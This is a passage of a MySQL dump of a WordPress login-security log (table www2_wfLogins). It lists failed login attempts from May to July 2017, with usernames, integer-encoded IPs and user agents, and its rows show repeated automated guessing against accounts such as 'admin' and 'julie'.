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(100047, 1494204322.763654, 1, 'loginFailInvalidUsername', 'wpadmin', 0, 3527006264, 'Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/32.0'),
(100048, 1494204458.009382, 1, 'loginFailInvalidUsername', 'blog', 0, 3164982411, 'Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/32.0'),
(100049, 1494207259.856253, 1, 'loginFailValidUsername', 'julie', 2, 831573078, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_43_96) AppleWebKit/533.92.55 (KHTML, like Gecko) Chrome/57.5.0497.6769 Safari/530.63 Edge/34.68478'),
(100050, 1494213890.773217, 1, 'loginFailValidUsername', 'julie', 2, 2631829816, 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/535.14.61 (KHTML, like Gecko) Chrome/53.6.1285.5913 Safari/534.54'),
(100051, 1494220451.515729, 1, 'loginFailValidUsername', 'julie', 2, 457123785, 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_58_01) AppleWebKit/534.07.60 (KHTML, like Gecko) Chrome/53.6.1825.7197 Safari/530.77 Edge/34.73756'),
(100052, 1494221825.770326, 1, 'loginFailValidUsername', 'julie', 2, 3059525007, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(100053, 1494223268.085177, 1, 'loginFailInvalidUsername', 'webmaster', 0, 1833311020, 'Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/32.0'),
(100054, 1494223286.843064, 1, 'loginFailInvalidUsername', 'administrador', 0, 1833311020, 'Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/32.0'),
(100055, 1494223339.014519, 1, 'loginFailInvalidUsername', 'blog', 0, 762746819, 'Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/32.0'),
(100056, 1494223342.730490, 1, 'loginFailInvalidUsername', 'demo', 0, 1833311020, 'Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/32.0'),
(100057, 1494223417.682787, 1, 'loginFailInvalidUsername', 'webadmin', 0, 521678460, 'Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/32.0'),
(100058, 1494223472.180278, 1, 'loginFailInvalidUsername', 'wpadmin', 0, 1743622318, 'Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/32.0'),
(100059, 1494224217.620854, 1, 'loginFailInvalidUsername', 'webmaster', 0, 1578617924, 'Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/32.0'),
(100060, 1494224241.519623, 1, 'loginFailInvalidUsername', 'administrador', 0, 762746819, 'Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/32.0'),
(100061, 1494233048.809167, 1, 'loginFailValidUsername', 'julie', 2, 1001802451, 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/535.11.68 (KHTML, like Gecko) Chrome/53.6.0072.5700 Safari/534.51'),
(100062, 1494244436.876548, 1, 'loginFailValidUsername', 'julie', 2, 736122260, 'Mozilla/5.0 (Windows NT 5.2; WOW64; x64) AppleWebKit/532.98.41 (KHTML, like Gecko) Chrome/57.5.0045.5317 Safari/534.59 OPR/40.6.1868.6130'),
(100063, 1494250430.950477, 1, 'loginFailValidUsername', 'julie', 2, 1402847781, 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:52.54.07) Gecko/20166103 Firefox/52.54.07'),
(100064, 1494256321.712703, 1, 'loginFailValidUsername', 'julie', 2, 2630546576, 'Mozilla/5.0 (Windows NT 6.3) AppleWebKit/534.05.52 (KHTML, like Gecko) Chrome/57.4.9341.4079 Safari/534.34'),
(100065, 1494262050.451385, 1, 'loginFailValidUsername', 'julie', 2, 2631563820, 'Mozilla/5.0 (Windows NT 5.0) AppleWebKit/533.03.56 (KHTML, like Gecko) Version/5.5.0 Safari/532.10'),
(100066, 1494267747.386054, 1, 'loginFailValidUsername', 'julie', 2, 2987835433, 'Mozilla/5.0 (Windows NT 5.1; WOW64; x64) AppleWebKit/532.83.36 (KHTML, like Gecko) Chrome/56.4.9528.4891 Safari/534.54 OPR/44.5.0341.5613'),
(100067, 1494273429.093639, 1, 'loginFailValidUsername', 'julie', 2, 781607262, 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_29_77) AppleWebKit/530.61.18 (KHTML, like Gecko) Chrome/55.1.5953.0680 Safari/532.00'),
(100068, 1494275333.276593, 1, 'loginFailValidUsername', 'julie', 2, 96794361, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(100069, 1494275333.927779, 1, 'loginFailValidUsername', 'julie', 2, 96794361, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(100070, 1494275334.587700, 1, 'loginFailInvalidUsername', 'julie pierrard', 0, 96794361, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(100071, 1494275335.237436, 1, 'loginFailValidUsername', 'pablo', 3, 96794361, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(100072, 1494275335.879949, 1, 'loginFailValidUsername', 'admin', 1, 96794361, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(100073, 1494291560.175931, 1, 'loginFailValidUsername', 'julie', 2, 3190654548, 'Mozilla/5.0 (Windows NT 6.2; WOW64; x64) AppleWebKit/530.66.13 (KHTML, like Gecko) Chrome/55.0.5436.0264 Safari/532.06 OPR/41.9.4713.9441'),
(100074, 1494298029.411056, 1, 'loginFailValidUsername', 'julie', 2, 3243069014, 'Mozilla/5.0 (Windows NT 5.1; WOW64; x64) AppleWebKit/531.74.21 (KHTML, like Gecko) Chrome/55.1.6285.1912 Safari/532.03 OPR/42.0.5462.9190'),
(100075, 1494304480.785613, 1, 'loginFailValidUsername', 'julie', 2, 1610003583, 'Mozilla/5.0 (Windows NT 5.1; WOW64; x64) AppleWebKit/531.73.20 (KHTML, like Gecko) Chrome/56.1.6147.1875 Safari/532.12 OPR/42.0.5335.0063'),
(100076, 1494310133.818797, 1, 'loginFailValidUsername', 'admin', 1, 736163900, 'XML-RPC.NET'),
(100077, 1494310936.218019, 1, 'loginFailValidUsername', 'julie', 2, 3411101549, 'Mozilla/5.0 (Windows NT 6.0; rv:45.64.01) Gecko/20152151 Firefox/45.64.01'),
(100078, 1494317156.488803, 1, 'loginFailValidUsername', 'julie', 2, 528523110, 'Mozilla/5.0 (Windows NT 5.2) AppleWebKit/533.96.49 (KHTML, like Gecko) Chrome/57.5.0846.5118 Safari/530.67 OPR/40.6.2569.7831'),
(100079, 1494324707.225711, 1, 'loginFailValidUsername', 'admin', 1, 1743082501, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100080, 1494329170.220379, 1, 'loginFailValidUsername', 'julie', 2, 1489603430, 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_58_01) AppleWebKit/534.16.69 (KHTML, like Gecko) Chrome/53.6.1806.7178 Safari/530.77 Edge/34.83572'),
(100081, 1494335196.319019, 1, 'loginFailValidUsername', 'julie', 2, 736614910, 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/535.13.76 (KHTML, like Gecko) Version/4.7.2 Safari/533.31'),
(100082, 1494341198.178507, 1, 'loginFailValidUsername', 'julie', 2, 3159064624, 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_25_88; rv:45.76.29) Gecko/20131478 Firefox/45.76.29'),
(100083, 1494343641.217313, 1, 'loginFailInvalidUsername', 'notre', 0, 2917982362, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100084, 1494343643.115287, 1, 'loginFailInvalidUsername', 'pour', 0, 2917982362, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100085, 1494343644.985104, 1, 'loginFailInvalidUsername', 'cross', 0, 2917982362, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100086, 1494343646.908742, 1, 'loginFailInvalidUsername', 'objectifs', 0, 2917982362, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100087, 1494343649.042228, 1, 'loginFailInvalidUsername', 'venez', 0, 2917982362, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100088, 1494343650.898066, 1, 'loginFailInvalidUsername', 'outils', 0, 2917982362, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1');
INSERT INTO `www2_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(100089, 1494343652.854581, 1, 'loginFailInvalidUsername', 'professionnel', 0, 2917982362, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100090, 1494343654.828309, 1, 'loginFailInvalidUsername', 'travail', 0, 2917982362, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100091, 1494343657.673368, 1, 'loginFailInvalidUsername', 'namur', 0, 2917982362, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100092, 1494343659.706190, 1, 'loginFailInvalidUsername', 'center', 0, 2917982362, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100093, 1494344413.478876, 1, 'loginFailInvalidUsername', 'test', 0, 3590043250, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100094, 1494344829.131689, 1, 'loginFailInvalidUsername', 'user', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100095, 1494344830.953201, 1, 'loginFailInvalidUsername', 'user', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100096, 1494344832.763122, 1, 'loginFailInvalidUsername', 'user', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100097, 1494344834.599632, 1, 'loginFailInvalidUsername', 'user', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100098, 1494344836.445443, 1, 'loginFailInvalidUsername', 'user', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100099, 1494344838.347988, 1, 'loginFailInvalidUsername', 'user', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100100, 1494344840.195090, 1, 'loginFailValidUsername', 'admin', 1, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100101, 1494344842.028954, 1, 'loginFailValidUsername', 'admin', 1, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100102, 1494344843.859600, 1, 'loginFailValidUsername', 'julie', 2, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100103, 1494344845.898923, 1, 'loginFailValidUsername', 'pablo', 3, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100104, 1494345339.842912, 1, 'loginFailInvalidUsername', 'vous', 0, 1299175467, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100105, 1494347044.128576, 1, 'loginFailValidUsername', 'julie', 2, 3183178439, 'Mozilla/5.0 (Windows NT 6.2; WOW64; x64) AppleWebKit/530.66.13 (KHTML, like Gecko) Chrome/55.1.5516.0244 Safari/532.06 OPR/42.9.4794.9422'),
(100106, 1494352811.132894, 1, 'loginFailValidUsername', 'julie', 2, 657107382, 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/534.17.60 (KHTML, like Gecko) Version/4.7.2 Safari/533.34'),
(100107, 1494358577.932459, 1, 'loginFailValidUsername', 'julie', 2, 1742133325, 'Mozilla/5.0 (Windows NT 6.2; WOW64; x64) AppleWebKit/530.63.10 (KHTML, like Gecko) Chrome/55.0.5127.0855 Safari/532.02 OPR/41.9.4404.9132'),
(100108, 1494364417.351143, 1, 'loginFailValidUsername', 'julie', 2, 2979827550, 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/536.36.89 (KHTML, like Gecko) Chrome/54.8.4837.9109 Safari/531.97'),
(100109, 1494376423.065829, 1, 'loginFailValidUsername', 'julie', 2, 2001428387, 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:52.69.12) Gecko/20161628 Firefox/52.69.12'),
(100110, 1494381206.595518, 1, 'loginFailValidUsername', 'julie', 2, 3004848413, 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_31_84) AppleWebKit/532.90.43 (KHTML, like Gecko) Chrome/57.5.0283.5555 Safari/534.51 Edge/34.67344'),
(100111, 1494387678.942648, 1, 'loginFailValidUsername', 'julie', 2, 1934610389, 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/535.18.65 (KHTML, like Gecko) Chrome/53.6.0648.5376 Safari/534.57'),
(100112, 1494394076.643271, 1, 'loginFailValidUsername', 'julie', 2, 1389492631, 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/536.38.81 (KHTML, like Gecko) Chrome/54.8.4090.9363 Safari/531.99'),
(100113, 1494406468.533725, 1, 'loginFailValidUsername', 'julie', 2, 3058309450, 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_55_08) AppleWebKit/534.04.57 (KHTML, like Gecko) Chrome/53.6.1611.6983 Safari/530.75 Edge/34.71626'),
(100114, 1494418422.204496, 1, 'loginFailValidUsername', 'julie', 2, 3075668780, 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_36_88) AppleWebKit/532.94.47 (KHTML, like Gecko) Chrome/57.4.9601.5973 Safari/534.55'),
(100115, 1494424332.222221, 1, 'loginFailValidUsername', 'julie', 2, 453246710, 'Mozilla/5.0 (Windows NT 6.2; WOW64; x64) AppleWebKit/531.60.18 (KHTML, like Gecko) Chrome/55.1.5972.0600 Safari/532.00 OPR/42.9.4169.9897'),
(100116, 1494430204.331461, 1, 'loginFailValidUsername', 'julie', 2, 1744766542, 'Mozilla/5.0 (Windows NT 6.2; WOW64; x64) AppleWebKit/530.67.14 (KHTML, like Gecko) Chrome/55.1.5677.0305 Safari/532.07 OPR/41.9.4855.9583'),
(100117, 1494435792.059045, 1, 'loginFailValidUsername', 'julie', 2, 1768589606, 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/535.17.64 (KHTML, like Gecko) Chrome/53.5.0672.5300 Safari/534.47'),
(100118, 1494439952.522844, 1, 'loginFailValidUsername', 'julie', 2, 3190256054, 'Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.13.66 (KHTML, like Gecko) Version/4.7.2 Safari/533.21'),
(100119, 1494445481.624401, 1, 'loginFailValidUsername', 'julie', 2, 1410741964, 'Mozilla/5.0 (Windows NT 5.0) AppleWebKit/533.08.51 (KHTML, like Gecko) Version/5.6.1 Safari/532.15'),
(100120, 1494449630.290643, 1, 'loginFailValidUsername', 'julie', 2, 1469388680, 'Mozilla/5.0 (Windows NT 5.1; WOW64; x64) AppleWebKit/531.74.21 (KHTML, like Gecko) Chrome/56.2.6224.1952 Safari/532.13 OPR/42.0.5501.0239'),
(100121, 1494453790.049272, 1, 'loginFailValidUsername', 'julie', 2, 2323001623, 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/535.29.82 (KHTML, like Gecko) Chrome/54.8.3185.8457 Safari/531.90'),
(100122, 1494458200.523648, 1, 'loginFailValidUsername', 'julie', 2, 3308264343, 'Mozilla/5.0 (Windows NT 6.2; Win64) AppleWebKit/530.63.00 (KHTML, like Gecko) Chrome/55.0.5131.0869 Safari/531.93 OPR/41.9.3418.8146'),
(100123, 1494462514.811885, 1, 'loginFailValidUsername', 'julie', 2, 1892208309, 'Mozilla/5.0 (Windows NT 5.2; WOW64; x64) AppleWebKit/532.84.31 (KHTML, like Gecko) Version/5.2.7 Safari/530.76'),
(100124, 1494467001.981335, 1, 'loginFailValidUsername', 'julie', 2, 609118280, 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_28_81) AppleWebKit/532.87.30 (KHTML, like Gecko) Chrome/57.4.9922.4294 Safari/534.58'),
(100125, 1494471511.262246, 1, 'loginFailValidUsername', 'julie', 2, 2107873451, 'Mozilla/5.0 (Windows NT 6.0; rv:45.66.03) Gecko/20155056 Firefox/45.66.03'),
(100126, 1494472932.299568, 1, 'loginFailValidUsername', 'admin', 1, 1389487932, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100127, 1494476036.342306, 1, 'loginFailValidUsername', 'julie', 2, 3211855785, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_48_91) AppleWebKit/533.07.50 (KHTML, like Gecko) Chrome/57.5.0904.6276 Safari/530.67 Edge/34.73549'),
(100128, 1494480556.931328, 1, 'loginFailValidUsername', 'julie', 2, 2588180238, 'Mozilla/5.0 (Windows NT 5.2; WOW64; x64) AppleWebKit/531.79.26 (KHTML, like Gecko) Chrome/56.2.6802.1530 Safari/532.19 OPR/42.0.5089.0717'),
(100129, 1494491133.608045, 1, 'loginFailValidUsername', 'julie', 2, 2996213217, 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:52.55.18) Gecko/20167850 Firefox/52.55.18'),
(100130, 1494497128.816834, 1, 'loginFailValidUsername', 'julie', 2, 696935125, 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:45.64.17) Gecko/20176812 Firefox/45.64.17'),
(100131, 1494503072.101910, 1, 'loginFailValidUsername', 'julie', 2, 1744766316, 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/535.22.85 (KHTML, like Gecko) Chrome/54.8.3311.8683 Safari/531.92'),
(100132, 1494508951.619215, 1, 'loginFailValidUsername', 'julie', 2, 2081250832, 'Mozilla/5.0 (Windows NT 5.2; WOW64; x64) AppleWebKit/532.80.27 (KHTML, like Gecko) Chrome/56.2.7823.1550 Safari/532.19 OPR/42.1.5100.0838'),
(100133, 1494514787.949353, 1, 'loginFailValidUsername', 'julie', 2, 1347203962, 'Mozilla/5.0 (Windows NT 5.0) AppleWebKit/532.86.33 (KHTML, like Gecko) Version/5.3.8 Safari/530.79'),
(100134, 1494519754.579324, 1, 'loginFailInvalidUsername', 'namur', 0, 1009505852, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100135, 1494519766.544185, 1, 'loginFailInvalidUsername', 'center', 0, 1009505852, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100136, 1494519772.854971, 1, 'loginFailValidUsername', 'admin', 1, 1009505852, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100137, 1494519780.273676, 1, 'loginFailValidUsername', 'julie', 2, 1009505852, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100138, 1494519791.297207, 1, 'loginFailValidUsername', 'pablo', 3, 1009505852, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
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(103315, 1499547611.622756, 1, 'loginFailInvalidUsername', 'test', 0, 3147442234, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103316, 1499549078.075279, 1, 'loginFailInvalidUsername', 'test', 0, 1299092496, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103317, 1499549079.251014, 1, 'loginFailInvalidUsername', 'test', 0, 1299092496, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103318, 1499552960.505000, 1, 'loginFailInvalidUsername', 'test', 0, 1569731776, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103319, 1499552961.619053, 1, 'loginFailInvalidUsername', 'test', 0, 1569731776, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103320, 1499554670.305278, 1, 'loginFailInvalidUsername', 'test', 0, 3170051237, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103321, 1499554671.355316, 1, 'loginFailInvalidUsername', 'test', 0, 3170051237, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103322, 1499555632.330522, 1, 'loginFailInvalidUsername', 'test', 0, 1776310817, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103323, 1499556758.367867, 1, 'loginFailInvalidUsername', 'test', 0, 1781732063, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103324, 1499556759.719230, 1, 'loginFailInvalidUsername', 'test', 0, 1781732063, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103325, 1499562086.603608, 1, 'loginFailInvalidUsername', 'test', 0, 1610237772, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103326, 1499563048.371684, 1, 'loginFailInvalidUsername', 'test', 0, 2971068426, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103327, 1499563702.849074, 1, 'loginFailInvalidUsername', 'test', 0, 831956932, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103328, 1499563704.756509, 1, 'loginFailInvalidUsername', 'test', 0, 831956932, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103329, 1499563766.326209, 1, 'loginFailInvalidUsername', 'test', 0, 3185090186, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103330, 1499563767.619293, 1, 'loginFailInvalidUsername', 'test', 0, 3185090186, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103331, 1499573766.276431, 1, 'loginFailInvalidUsername', 'test', 0, 2979847696, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103332, 1499575183.514124, 1, 'loginFailInvalidUsername', 'test', 0, 831604747, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103333, 1499575185.259626, 1, 'loginFailInvalidUsername', 'test', 0, 831604747, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103334, 1499575583.214086, 1, 'loginFailValidUsername', 'admin', 1, 1539836950, 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_21_79) AppleWebKit/531.73.20 (KHTML, like Gecko) Chrome/55.1.6147.1875 Safari/532.02 Edge/36.06978'),
(103335, 1499577831.380982, 1, 'loginFailInvalidUsername', 'test', 0, 2869229270, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103336, 1499577833.305460, 1, 'loginFailInvalidUsername', 'test', 0, 2869229270, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103337, 1499579491.717902, 1, 'loginFailInvalidUsername', 'test', 0, 16883149, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103338, 1499579723.264150, 1, 'loginFailInvalidUsername', 'test', 0, 837087165, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103339, 1499579892.018430, 1, 'loginFailInvalidUsername', 'test', 0, 3200584913, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103340, 1499583850.617238, 1, 'loginFailInvalidUsername', 'test', 0, 3197645454, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103341, 1499583964.917623, 1, 'loginFailInvalidUsername', 'test', 0, 86730617, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103342, 1499584482.569817, 1, 'loginFailInvalidUsername', 'test', 0, 1185626759, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103343, 1499584483.759941, 1, 'loginFailInvalidUsername', 'test', 0, 1185626759, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103344, 1499585556.430262, 1, 'loginFailInvalidUsername', 'test', 0, 1231956485, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1');
INSERT INTO `www2_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(103345, 1499585557.695046, 1, 'loginFailInvalidUsername', 'test', 0, 1231956485, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103346, 1499585833.406722, 1, 'loginFailInvalidUsername', 'test', 0, 1824959805, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103347, 1499585835.345684, 1, 'loginFailInvalidUsername', 'test', 0, 1824959805, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103348, 1499593406.993900, 1, 'loginFailInvalidUsername', 'test', 0, 1443625125, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103349, 1499593408.060207, 1, 'loginFailInvalidUsername', 'test', 0, 1443625125, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103350, 1499593460.588497, 1, 'loginFailInvalidUsername', 'test', 0, 1345377155, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103351, 1499593461.619595, 1, 'loginFailInvalidUsername', 'test', 0, 1345377155, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103352, 1499594484.143027, 1, 'loginFailInvalidUsername', 'test', 0, 1409380298, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103353, 1499594485.180767, 1, 'loginFailInvalidUsername', 'test', 0, 1409380298, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(103355, 1499595947.784100, 1, 'loginFailInvalidUsername', 'test', 0, 3163511040, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103356, 1499597887.657514, 1, 'loginFailInvalidUsername', 'test', 0, 1976123259, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103357, 1499597889.133480, 1, 'loginFailInvalidUsername', 'test', 0, 1976123259, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103358, 1499599067.474067, 1, 'loginFailInvalidUsername', 'test', 0, 3417436567, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
